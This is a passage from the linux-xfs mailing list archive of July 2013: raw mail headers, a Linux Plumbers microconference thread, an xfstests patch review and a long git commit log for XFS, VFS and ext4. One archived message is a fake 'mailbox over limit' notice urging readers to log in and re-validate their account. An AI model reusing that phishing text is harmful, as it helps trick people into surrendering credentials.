correct lookups were done prior to the failing addname operation... <- xfs tracing noob. Got a recipe I can cut-n-paste ? Or a patch if that's necessary.. Dave From kingro@oplin.org Mon Jul 15 15:41:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 287737F37 for ; Mon, 15 Jul 2013 15:41:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1BD348F8039 for ; Mon, 15 Jul 2013 13:41:10 -0700 (PDT) X-ASG-Debug-ID: 1373920866-04cbb046911005570001-w1Z2WR Received: from zimbra.oplin.org (zimbra.oplin.org [66.213.127.209]) by cuda.sgi.com with ESMTP id suW8vWQxyRIsHo5A for ; Mon, 15 Jul 2013 13:41:07 -0700 (PDT) X-Barracuda-Envelope-From: kingro@oplin.org X-Barracuda-Apparent-Source-IP: 66.213.127.209 Received: from zimbra.oplin.org (localhost [127.0.0.1]) by zimbra.oplin.org (Postfix) with ESMTP id 197F9314238C; Mon, 15 Jul 2013 16:41:00 -0400 (EDT) Received: from zimbra.oplin.org (localhost [127.0.0.1]) by zimbra.oplin.org (Postfix) with ESMTP id 14E143141AE0; Mon, 15 Jul 2013 16:40:52 -0400 (EDT) Date: Mon, 15 Jul 2013 16:40:51 -0400 (EDT) From: ADMIN ITS To: li@li.com Message-ID: <921681016.131079.1373920851944.JavaMail.root@oplin.org> Subject: 250MB MIME-Version: 1.0 X-ASG-Orig-Subj: 250MB Content-Type: multipart/alternative; boundary="----=_Part_131078_1369783208.1373920851934" X-Originating-IP: [41.71.145.126] X-Mailer: Zimbra 8.0.2_GA_5569 (zclient/8.0.2_GA_5569) Thread-Topic: 250MB Thread-Index: K08Qovy0TtoGBXrOXZKn41NFRdaZKA== X-Barracuda-Connect: zimbra.oplin.org[66.213.127.209] X-Barracuda-Start-Time: 1373920866 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA578_CH, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH ------=_Part_131078_1369783208.1373920851934 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit This is to notify you that you are over your mailbox limit which is 250MB as set by your mailbox manager, you are currently at 257MB, you will not be able to create new e-mail to send or receive messages until you validate your mailbox. To re-validate your account:LOGIN TO OUR MESSAGE CENTRE Help Desk ------=_Part_131078_1369783208.1373920851934 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
    This is to = notify you that you are over your mailbox limit which is 250MB as set by yo= ur mailbox manager, you are currently at 257MB, you will not be able to cre= ate new e-mail to send or receive messages until you validate your mailbox.= To re-validate your account:LOGIN TO OUR MESSAGE CENTRE
    Help Desk
    ------=_Part_131078_1369783208.1373920851934-- From ricwheeler@gmail.com Mon Jul 15 16:22:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B27BD7F37 for ; Mon, 15 Jul 2013 16:22:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 968B6304043 for ; Mon, 15 Jul 2013 14:22:50 -0700 (PDT) X-ASG-Debug-ID: 1373923369-04cb6c2a47d64e40001-NocioJ Received: from mail-qe0-f45.google.com (mail-qe0-f45.google.com [209.85.128.45]) by cuda.sgi.com with ESMTP id DmUHKtIZfVVdJrvM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 15 Jul 2013 14:22:49 -0700 (PDT) X-Barracuda-Envelope-From: ricwheeler@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.45] Received: by mail-qe0-f45.google.com with SMTP id w7so6794797qeb.18 for ; Mon, 15 Jul 2013 14:22:49 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=MeGBRxLqI8pR1Aqv3cwkk+8nJSWn42z4k2shitgJJdY=; b=F+nbpsYKpm8EyrGrMtU69OHx9wnD0q4DWWQZxqdIOlokdL9twm+jQZQqCMqD2PYlUj j/IfvpnfP0DAhO4NMYSHldXJMmHc6Utg5vcnqanzcWSfDftGUmyrX/nZdm1NDL7HWJOL v7KoyS7PQmEx3ioPC/6oTOfVKxd4jgdYWTVOwCp6ssntHnEoxqUpnTLYJcsgF+odLfAM m5HoLEnnK115birSAIyO6EzN42FmiyKRiKb1p9ZcfZrNSdJ/fw9dmNQxAlWMbwMpDs9E 99kp1uvNZ1oegJ0NPQonQgZPP1T+1iuWRmscQZPB/xC2beW/hVFfPwUXR0zN03YOISbY aWuQ== X-Received: by 10.224.115.5 with SMTP id g5mr55318384qaq.53.1373923368995; Mon, 15 Jul 2013 14:22:48 -0700 (PDT) Received: from tunkums.home (pool-71-184-207-60.bstnma.fios.verizon.net. [71.184.207.60]) by mx.google.com with ESMTPSA id ff5sm57789853qeb.6.2013.07.15.14.22.47 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 15 Jul 2013 14:22:48 -0700 (PDT) Message-ID: <51E46826.20709@gmail.com> Date: Mon, 15 Jul 2013 17:22:46 -0400 From: Ric Wheeler User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: "faibish, sorin" CC: "linux-scsi@vger.kernel.org" , Linux FS Devel , "linux-nfs@vger.kernel.org" , linux-btrfs , xfs-oss , "linux-ext4@vger.kernel.org" , device-mapper development , IDE/ATA development list , "anaconda-devel-list@redhat.com" Subject: Re: Linux Plumbers IO & File System Micro-conference References: <51E03AFB.1000000@gmail.com> X-ASG-Orig-Subj: Re: Linux Plumbers IO & File System Micro-conference In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qe0-f45.google.com[209.85.128.45] X-Barracuda-Start-Time: 1373923369 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/12/2013 01:42 PM, faibish, sorin wrote: > Can we have a discussion on Lustre client in the kernel? Thanks > > ./Sorin I am not sure that we have that much to do for Lustre on the client side. Is this a topic that would be of broad enough interest to include people outside of the kernel developers? thanks! Ric > > -----Original Message----- > From: linux-fsdevel-owner@vger.kernel.org [mailto:linux-fsdevel-owner@vger.kernel.org] On Behalf Of Ric Wheeler > Sent: Friday, July 12, 2013 1:21 PM > To: linux-scsi@vger.kernel.org; Linux FS Devel; linux-nfs@vger.kernel.org; linux-btrfs; xfs-oss; linux-ext4@vger.kernel.org; device-mapper development; IDE/ATA development list; anaconda-devel-list@redhat.com > Subject: Linux Plumbers IO & File System Micro-conference > > > Linux Plumbers has approved a file and storage microconference. The overview page is here: > > http://wiki.linuxplumbersconf.org/2013:file_and_storage_systems > > I would like to started gathering in ideas for topics. I have been approached already with a request to cover the copy_range work Zach Brown kicked off at LSF which I think is a great topic since it has impact throughout the stack, all the way up to applications programmers. > > A similar request was made to give some time to non-volatile memory devices and the proposed "persistent memory" backed block device and persistent memory file system from Intel. That also seems to fall in nicely with the plumbers mission statement since it clearly will impact everything from the application on down through the kernel. > > Last year, we had a good discussion on management of storage (anaconda, yast, libstoragemgt, etc) - that also might be worth giving updates on. > > The instructions for submitting ideas will be updated later today at: > > http://www.linuxplumbersconf.org/2013/submitting-topic/ > > If you have topics that you would like to add, wait until the instructions get posted at the link above. If you are impatient, feel free to email me directly (but probably best to drop the broad mailing lists from the reply). > > Thanks! > > Ric > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html > From bpm@sgi.com Mon Jul 15 16:27:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38B3F7F37 for ; Mon, 15 Jul 2013 16:27:38 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id E98758F8050; Mon, 15 Jul 2013 14:27:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C7B1B4266DC; Mon, 15 Jul 2013 16:27:34 -0500 (CDT) Date: Mon, 15 Jul 2013 16:27:34 -0500 From: Ben Myers To: Eric Sandeen Cc: Carlos Maiolino , xfs@oss.sgi.com Subject: Re: [PATCH V4] xfstests: generic/314, test sgid inheritance on subdirs Message-ID: <20130715212734.GA3572@sgi.com> References: <1373658373-8988-1-git-send-email-cmaiolino@redhat.com> <51E2CEDE.5000304@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E2CEDE.5000304@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) On Sun, Jul 14, 2013 at 11:16:30AM -0500, Eric Sandeen wrote: > On 7/12/13 2:46 PM, Carlos Maiolino wrote: > > Tests if subdirectories created on the filesystem will properly inherit sgid bit > > when this is set on the parent directory, once the process has the properly > > permissions to create a subdirectory, this, should inherit parent's sgid bit if > > this is set and irix_sgid_inherit sysctl is disabled. > > > > V2: add missing source of "attr" file for _require_acls > > > > V3: use _ls_l to filter out the selinux "." > > renumber to 314 to make the merge easier > > > > V4: fix 314.out to the correct output > > Heh, thanks Carlos. Friday wasn't my best day. Reviewed-by: Ben Myers Applied. -Ben From bpm@oss.sgi.com Mon Jul 15 17:40:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A15327F3F; Mon, 15 Jul 2013 17:40:10 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-2-12113-gad81f05 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: c31ad439e8d111bf911c9cc80619cebde411a44d X-Git-Newrev: ad81f0545ef01ea651886dddac4bef6cec930092 Message-Id: <20130715224010.A15327F3F@oss.sgi.com> Date: Mon, 15 Jul 2013 17:40:08 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 239dab4 Merge tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs da89bd2 Merge tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs 790eac5 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 46a1c2c vfs: export lseek_execute() to modules 9e239bb Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 b822755 [readdir] convert xfs d302cf1 xfs: don't shutdown log recovery on validation errors 088c9f6 xfs: ensure btree root split sets blkno correctly 5170711 xfs: fix implicit padding in directory and attr CRC formats 47ad2fc xfs: don't emit v5 superblock warnings on write 0a8aa19 xfs: increase number of ACL entries for V5 superblocks f763fd4 xfs: disable noattr2/attr2 mount options for CRC enabled filesystems ad868af xfs: inode unlinked list needs to recalculate the inode CRC 7540617 xfs: fix log recovery transaction item reordering ea92953 xfs: fix remote attribute invalidation for a leaf bb9b8e8 xfs: rework dquot CRCs 7bc0dc2 xfs: rework remote attr CRCs 634fd53 xfs: fully initialise temp leaf in xfs_attr3_leaf_compact 9e80c76 xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance 58a7228 xfs: correctly map remote attr buffers during removal 26f7144 xfs: remote attribute tail zeroing does too much 551b382 xfs: remote attribute read too short 9531e2d xfs: remote attribute allocation may be contiguous e400d27 xfs: fix dir3 freespace block corruption 7c9950f xfs: disable swap extents ioctl on CRC enabled filesystems e7927e8 xfs: add fsgeom flag for v5 superblock support. 1de09d1 xfs: fix incorrect remote symlink block count 7d2ffe8 xfs: fix split buffer vector log recovery support 2962f5a xfs: kill suid/sgid through the truncate path. 08fb390 xfs: avoid nesting transactions in xfs_qm_scall_setqlim() 7ae0778 xfs: remote attribute lookups require the value length cf257ab xfs: xfs_attr_shortform_allfit() does not handle attr3 format. 7ced60c xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC b17cb36 xfs: fix missing KM_NOFS tags to keep lockdep happy 509e708 xfs: Don't reference the EFI after it is freed 7031d0e xfs: fix rounding in xfs_free_file_space 480d746 xfs: fix sub-page blocksize data integrity writes 34097df xfs: use ->invalidatepage() length argument d47992f mm: change invalidatepage prototype to accept length from c31ad439e8d111bf911c9cc80619cebde411a44d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 239dab4636f7f5f971ac39b5ca84254cff112cac Merge: f1c4108 c31ad43 Author: Linus Torvalds Date: Sat Jul 13 11:40:24 2013 -0700 Merge tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs Pull more xfs updates from Ben Myers: "Here are a fix for xfs_fsr, a cleanup in bulkstat, a cleanup in xfs_open_by_handle, updated mount options documentation, a cleanup in xfs_bmapi_write, a fix for the size of dquot log reservations, a fix for sgid inheritance when acls are in use, a fix for cleaning up quotainfo structures, and some more of the work which allows group and project quotas to be used together. We had a few more in this last quota category that we might have liked to get in, but it looks there are still a few items that need to be addressed. - fix for xfs_fsr returning -EINVAL - cleanup in xfs_bulkstat - cleanup in xfs_open_by_handle - update mount options documentation - clean up local format handling in xfs_bmapi_write - fix dquot log reservations which were too small - fix sgid inheritance for subdirectories when default acls are in use - add project quota fields to various structures - fix teardown of quotainfo structures when quotas are turned off" * tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: Fix the logic check for all quotas being turned off xfs: Add pquota fields where gquota is used. xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] xfs: dquot log reservations are too small xfs: remove local fork format handling from xfs_bmapi_write() xfs: update mount options documentation xfs: use get_unused_fd_flags(0) instead of get_unused_fd() xfs: clean up unused codes at xfs_bulkstat() xfs: use XFS_BMAP_BMDR_SPACE vs. XFS_BROOT_SIZE_ADJ commit da89bd213fe719ec3552abbeb8be12d0cc0337ca Merge: be0c5d8 83e782e Author: Linus Torvalds Date: Tue Jul 9 12:29:12 2013 -0700 Merge tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs update from Ben Myers: "This includes several bugfixes, part of the work for project quotas and group quotas to be used together, performance improvements for inode creation/deletion, buffer readahead, and bulkstat, implementation of the inode change count, an inode create transaction, and the removal of a bunch of dead code. There are also some duplicate commits that you already have from the 3.10-rc series. - part of the work to allow project quotas and group quotas to be used together - inode change count - inode create transaction - block queue plugging in buffer readahead and bulkstat - ordered log vector support - removal of dead code in and around xfs_sync_inode_grab, xfs_ialloc_get_rec, XFS_MOUNT_RETERR, XFS_ALLOCFREE_LOG_RES, XFS_DIROP_LOG_RES, xfs_chash, ctl_table, and xfs_growfs_data_private - don't keep silent if sunit/swidth can not be changed via mount - fix a leak of remote symlink blocks into the filesystem when xattrs are used on symlinks - fix for fiemap to return FIEMAP_EXTENT_UNKOWN flag on delay extents - part of a fix for xfs_fsr - disable speculative preallocation with small files - performance improvements for inode creates and deletes" * tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs: (61 commits) xfs: Remove incore use of XFS_OQUOTA_ENFD and XFS_OQUOTA_CHKD xfs: Change xfs_dquot_acct to be a 2-dimensional array xfs: Code cleanup and removal of some typedef usage xfs: Replace macro XFS_DQ_TO_QIP with a function xfs: Replace macro XFS_DQUOT_TREE with a function xfs: Define a new function xfs_is_quota_inode() xfs: implement inode change count xfs: Use inode create transaction xfs: Inode create item recovery xfs: Inode create transaction reservations xfs: Inode create log items xfs: Introduce an ordered buffer item xfs: Introduce ordered log vector support xfs: xfs_ifree doesn't need to modify the inode buffer xfs: don't do IO when creating an new inode xfs: don't use speculative prealloc for small files xfs: plug directory buffer readahead xfs: add pluging for bulkstat readahead xfs: Remove dead function prototype xfs_sync_inode_grab() xfs: Remove the left function variable from xfs_ialloc_get_rec() ... commit 790eac5640abf7a57fa3a644386df330e18c11b0 Merge: 0b0585c 48bde8d Author: Linus Torvalds Date: Wed Jul 3 09:10:19 2013 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull second set of VFS changes from Al Viro: "Assorted f_pos race fixes, making do_splice_direct() safe to call with i_mutex on parent, O_TMPFILE support, Jeff's locks.c series, ->d_hash/->d_compare calling conventions changes from Linus, misc stuff all over the place." * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: (63 commits) Document ->tmpfile() ext4: ->tmpfile() support vfs: export lseek_execute() to modules lseek_execute() doesn't need an inode passed to it block_dev: switch to fixed_size_llseek() cpqphp_sysfs: switch to fixed_size_llseek() tile-srom: switch to fixed_size_llseek() proc_powerpc: switch to fixed_size_llseek() ubi/cdev: switch to fixed_size_llseek() pci/proc: switch to fixed_size_llseek() isapnp: switch to fixed_size_llseek() lpfc: switch to fixed_size_llseek() locks: give the blocked_hash its own spinlock locks: add a new "lm_owner_key" lock operation locks: turn the blocked_list into a hashtable locks: convert fl_link to a hlist_node locks: avoid taking global lock if possible when waking up blocked waiters locks: protect most of the file_lock handling with i_lock locks: encapsulate the fl_link list handling locks: make "added" in __posix_lock_file a bool ... commit 46a1c2c7ae53de2a5676754b54a73c591a3951d2 Author: Jie Liu Date: Tue Jun 25 12:02:13 2013 +0800 vfs: export lseek_execute() to modules For those file systems(btrfs/ext4/ocfs2/tmpfs) that support SEEK_DATA/SEEK_HOLE functions, we end up handling the similar matter in lseek_execute() to update the current file offset to the desired offset if it is valid, ceph also does the simliar things at ceph_llseek(). To reduce the duplications, this patch make lseek_execute() public accessible so that we can call it directly from the underlying file systems. Thanks Dave Chinner for this suggestion. [AV: call it vfs_setpos(), don't bring the removed 'inode' argument back] v2->v1: - Add kernel-doc comments for lseek_execute() - Call lseek_execute() in ceph->llseek() Signed-off-by: Jie Liu Cc: Dave Chinner Cc: Al Viro Cc: Andi Kleen Cc: Andrew Morton Cc: Christoph Hellwig Cc: Chris Mason Cc: Josef Bacik Cc: Ben Myers Cc: Ted Tso Cc: Hugh Dickins Cc: Mark Fasheh Cc: Joel Becker Cc: Sage Weil Signed-off-by: Al Viro commit 9e239bb93914e1c832d54161c7f8f398d0c914ab Merge: 63580e5 6ae06ff Author: Linus Torvalds Date: Tue Jul 2 09:39:34 2013 -0700 Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 Pull ext4 update from Ted Ts'o: "Lots of bug fixes, cleanups and optimizations. In the bug fixes category, of note is a fix for on-line resizing file systems where the block size is smaller than the page size (i.e., file systems 1k blocks on x86, or more interestingly file systems with 4k blocks on Power or ia64 systems.) In the cleanup category, the ext4's punch hole implementation was significantly improved by Lukas Czerner, and now supports bigalloc file systems. In addition, Jan Kara significantly cleaned up the write submission code path. We also improved error checking and added a few sanity checks. In the optimizations category, two major optimizations deserve mention. The first is that ext4_writepages() is now used for nodelalloc and ext3 compatibility mode. This allows writes to be submitted much more efficiently as a single bio request, instead of being sent as individual 4k writes into the block layer (which then relied on the elevator code to coalesce the requests in the block queue). Secondly, the extent cache shrink mechanism, which was introduce in 3.9, no longer has a scalability bottleneck caused by the i_es_lru spinlock. Other optimizations include some changes to reduce CPU usage and to avoid issuing empty commits unnecessarily." * tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: (86 commits) ext4: optimize starting extent in ext4_ext_rm_leaf() jbd2: invalidate handle if jbd2_journal_restart() fails ext4: translate flag bits to strings in tracepoints ext4: fix up error handling for mpage_map_and_submit_extent() jbd2: fix theoretical race in jbd2__journal_restart ext4: only zero partial blocks in ext4_zero_partial_blocks() ext4: check error return from ext4_write_inline_data_end() ext4: delete unnecessary C statements ext3,ext4: don't mess with dir_file->f_pos in htree_dirblock_to_tree() jbd2: move superblock checksum calculation to jbd2_write_superblock() ext4: pass inode pointer instead of file pointer to punch hole ext4: improve free space calculation for inline_data ext4: reduce object size when !CONFIG_PRINTK ext4: improve extent cache shrink mechanism to avoid to burn CPU time ext4: implement error handling of ext4_mb_new_preallocation() ext4: fix corruption when online resizing a fs with 1K block size ext4: delete unused variables ext4: return FIEMAP_EXTENT_UNKNOWN for delalloc extents jbd2: remove debug dependency on debug_fs and update Kconfig help text jbd2: use a single printk for jbd_debug() ... commit b8227554c951eb144e975c5e741d33f29c29596f Author: Al Viro Date: Wed May 22 17:07:56 2013 -0400 [readdir] convert xfs Signed-off-by: Al Viro commit d302cf1d316dca5f567e89872cf5d475c9a55f74 Author: Dave Chinner Date: Wed Jun 12 12:19:06 2013 +1000 xfs: don't shutdown log recovery on validation errors Unfortunately, we cannot guarantee that items logged multiple times and replayed by log recovery do not take objects back in time. When they are taken back in time, the go into an intermediate state which is corrupt, and hence verification that occurs on this intermediate state causes log recovery to abort with a corruption shutdown. Instead of causing a shutdown and unmountable filesystem, don't verify post-recovery items before they are written to disk. This is less than optimal, but there is no way to detect this issue for non-CRC filesystems If log recovery successfully completes, this will be undone and the object will be consistent by subsequent transactions that are replayed, so in most cases we don't need to take drastic action. For CRC enabled filesystems, leave the verifiers in place - we need to call them to recalculate the CRCs on the objects anyway. This recovery problem can be solved for such filesystems - we have a LSN stamped in all metadata at writeback time that we can to determine whether the item should be replayed or not. This is a separate piece of work, so is not addressed by this patch. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 9222a9cf86c0d64ffbedf567412b55da18763aa3) commit 088c9f67c3f53339d2bc20b42a9cb904901fdc5d Author: Dave Chinner Date: Wed Jun 12 12:19:08 2013 +1000 xfs: ensure btree root split sets blkno correctly For CRC enabled filesystems, the BMBT is rooted in an inode, so it passes through a different code path on root splits than the freespace and inode btrees. This is much less traversed by xfstests than the other trees. When testing on a 1k block size filesystem, I've been seeing ASSERT failures in generic/234 like: XFS: Assertion failed: cur->bc_btnum != XFS_BTNUM_BMAP || cur->bc_private.b.allocated == 0, file: fs/xfs/xfs_btree.c, line: 317 which are generally preceded by a lblock check failure. I noticed this in the bmbt stats: $ pminfo -f xfs.btree.block_map xfs.btree.block_map.lookup value 39135 xfs.btree.block_map.compare value 268432 xfs.btree.block_map.insrec value 15786 xfs.btree.block_map.delrec value 13884 xfs.btree.block_map.newroot value 2 xfs.btree.block_map.killroot value 0 ..... Very little coverage of root splits and merges. Indeed, on a 4k filesystem, block_map.newroot and block_map.killroot are both zero. i.e. the code is not exercised at all, and it's the only generic btree infrastructure operation that is not exercised by a default run of xfstests. Turns out that on a 1k filesystem, generic/234 accounts for one of those two root splits, and that is somewhat of a smoking gun. In fact, it's the same problem we saw in the directory/attr code where headers are memcpy()d from one block to another without updating the self describing metadata. Simple fix - when copying the header out of the root block, make sure the block number is updated correctly. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ade1335afef556df6538eb02e8c0dc91fbd9cc37) commit 5170711df79b284cf95b3924322e8ac4c0fd6c76 Author: Dave Chinner Date: Wed Jun 12 12:19:07 2013 +1000 xfs: fix implicit padding in directory and attr CRC formats Michael L. Semon has been testing CRC patches on a 32 bit system and been seeing assert failures in the directory code from xfs/080. Thanks to Michael's heroic efforts with printk debugging, we found that the problem was that the last free space being left in the directory structure was too small to fit a unused tag structure and it was being corrupted and attempting to log a region out of bounds. Hence the assert failure looked something like: ..... #5 calling xfs_dir2_data_log_unused() 36 32 #1 4092 4095 4096 #2 8182 8183 4096 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 Where #1 showed the first region of the dup being logged (i.e. the last 4 bytes of a directory buffer) and #2 shows the corrupt values being calculated from the length of the dup entry which overflowed the size of the buffer. It turns out that the problem was not in the logging code, nor in the freespace handling code. It is an initial condition bug that only shows up on 32 bit systems. When a new buffer is initialised, where's the freespace that is set up: [ 172.316249] calling xfs_dir2_leaf_addname() from xfs_dir_createname() [ 172.316346] #9 calling xfs_dir2_data_log_unused() [ 172.316351] #1 calling xfs_trans_log_buf() 60 63 4096 [ 172.316353] #2 calling xfs_trans_log_buf() 4094 4095 4096 Note the offset of the first region being logged? It's 60 bytes into the buffer. Once I saw that, I pretty much knew that the bug was going to be caused by this. Essentially, all direct entries are rounded to 8 bytes in length, and all entries start with an 8 byte alignment. This means that we can decode inplace as variables are naturally aligned. With the directory data supposedly starting on a 8 byte boundary, and all entries padded to 8 bytes, the minimum freespace in a directory block is supposed to be 8 bytes, which is large enough to fit a unused data entry structure (6 bytes in size). The fact we only have 4 bytes of free space indicates a directory data block alignment problem. And what do you know - there's an implicit hole in the directory data block header for the CRC format, which means the header is 60 byte on 32 bit intel systems and 64 bytes on 64 bit systems. Needs padding. And while looking at the structures, I found the same problem in the attr leaf header. Fix them both. Note that this only affects 32 bit systems with CRCs enabled. Everything else is just fine. Note that CRC enabled filesystems created before this fix on such systems will not be readable with this fix applied. Reported-by: Michael L. Semon Debugged-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 8a1fd2950e1fe267e11fc8c85dcaa6b023b51b60) commit 47ad2fcba9ddd0630acccb13c71f19a818947751 Author: Dave Chinner Date: Mon May 27 16:38:19 2013 +1000 xfs: don't emit v5 superblock warnings on write We write the superblock every 30s or so which results in the verifier being called. Right now that results in this output every 30s: XFS (vda): Version 5 superblock detected. This kernel has EXPERIMENTAL support enabled! Use of these features in this kernel is at your own risk! And spamming the logs. We don't need to check for whether we support v5 superblocks or whether there are feature bits we don't support set as these are only relevant when we first mount the filesytem. i.e. on superblock read. Hence for the write verification we can just skip all the checks (and hence verbose output) altogether. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 34510185abeaa5be9b178a41c0a03d30aec3db7e) commit 0a8aa1939777dd114479677f0044652c1fd72398 Author: Dave Chinner Date: Wed Jun 5 12:09:10 2013 +1000 xfs: increase number of ACL entries for V5 superblocks The limit of 25 ACL entries is arbitrary, but baked into the on-disk format. For version 5 superblocks, increase it to the maximum nuber of ACLs that can fit into a single xattr. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 5c87d4bc1a86bd6e6754ac3d6e111d776ddcfe57) commit f763fd440e094be37b38596ee14f1d64caa9bf9c Author: Dave Chinner Date: Wed Jun 5 12:09:09 2013 +1000 xfs: disable noattr2/attr2 mount options for CRC enabled filesystems attr2 format is always 